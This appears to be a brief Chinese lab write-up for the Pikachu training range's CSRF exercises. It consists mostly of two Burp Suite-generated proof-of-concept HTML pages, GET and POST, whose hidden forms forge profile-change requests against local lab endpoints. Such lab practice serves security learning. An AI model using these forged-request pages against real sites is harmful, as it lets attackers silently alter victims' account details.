Pikachu靶场之csrf1. get 方法抓包 http://127.0.0.1/pikachu/1.html 2

1. get 方法

抓包

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="woman" />
      <input type="hidden" name="phonenum" value="999" />
      <input type="hidden" name="add" value="999" />
      <input type="hidden" name="email" value="999&#64;mail&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

http://127.0.0.1/pikachu/1.html

2. post 方法

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="woman" />
      <input type="hidden" name="phonenum" value="111" />
      <input type="hidden" name="add" value="111" />
      <input type="hidden" name="email" value="111&#64;mail&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>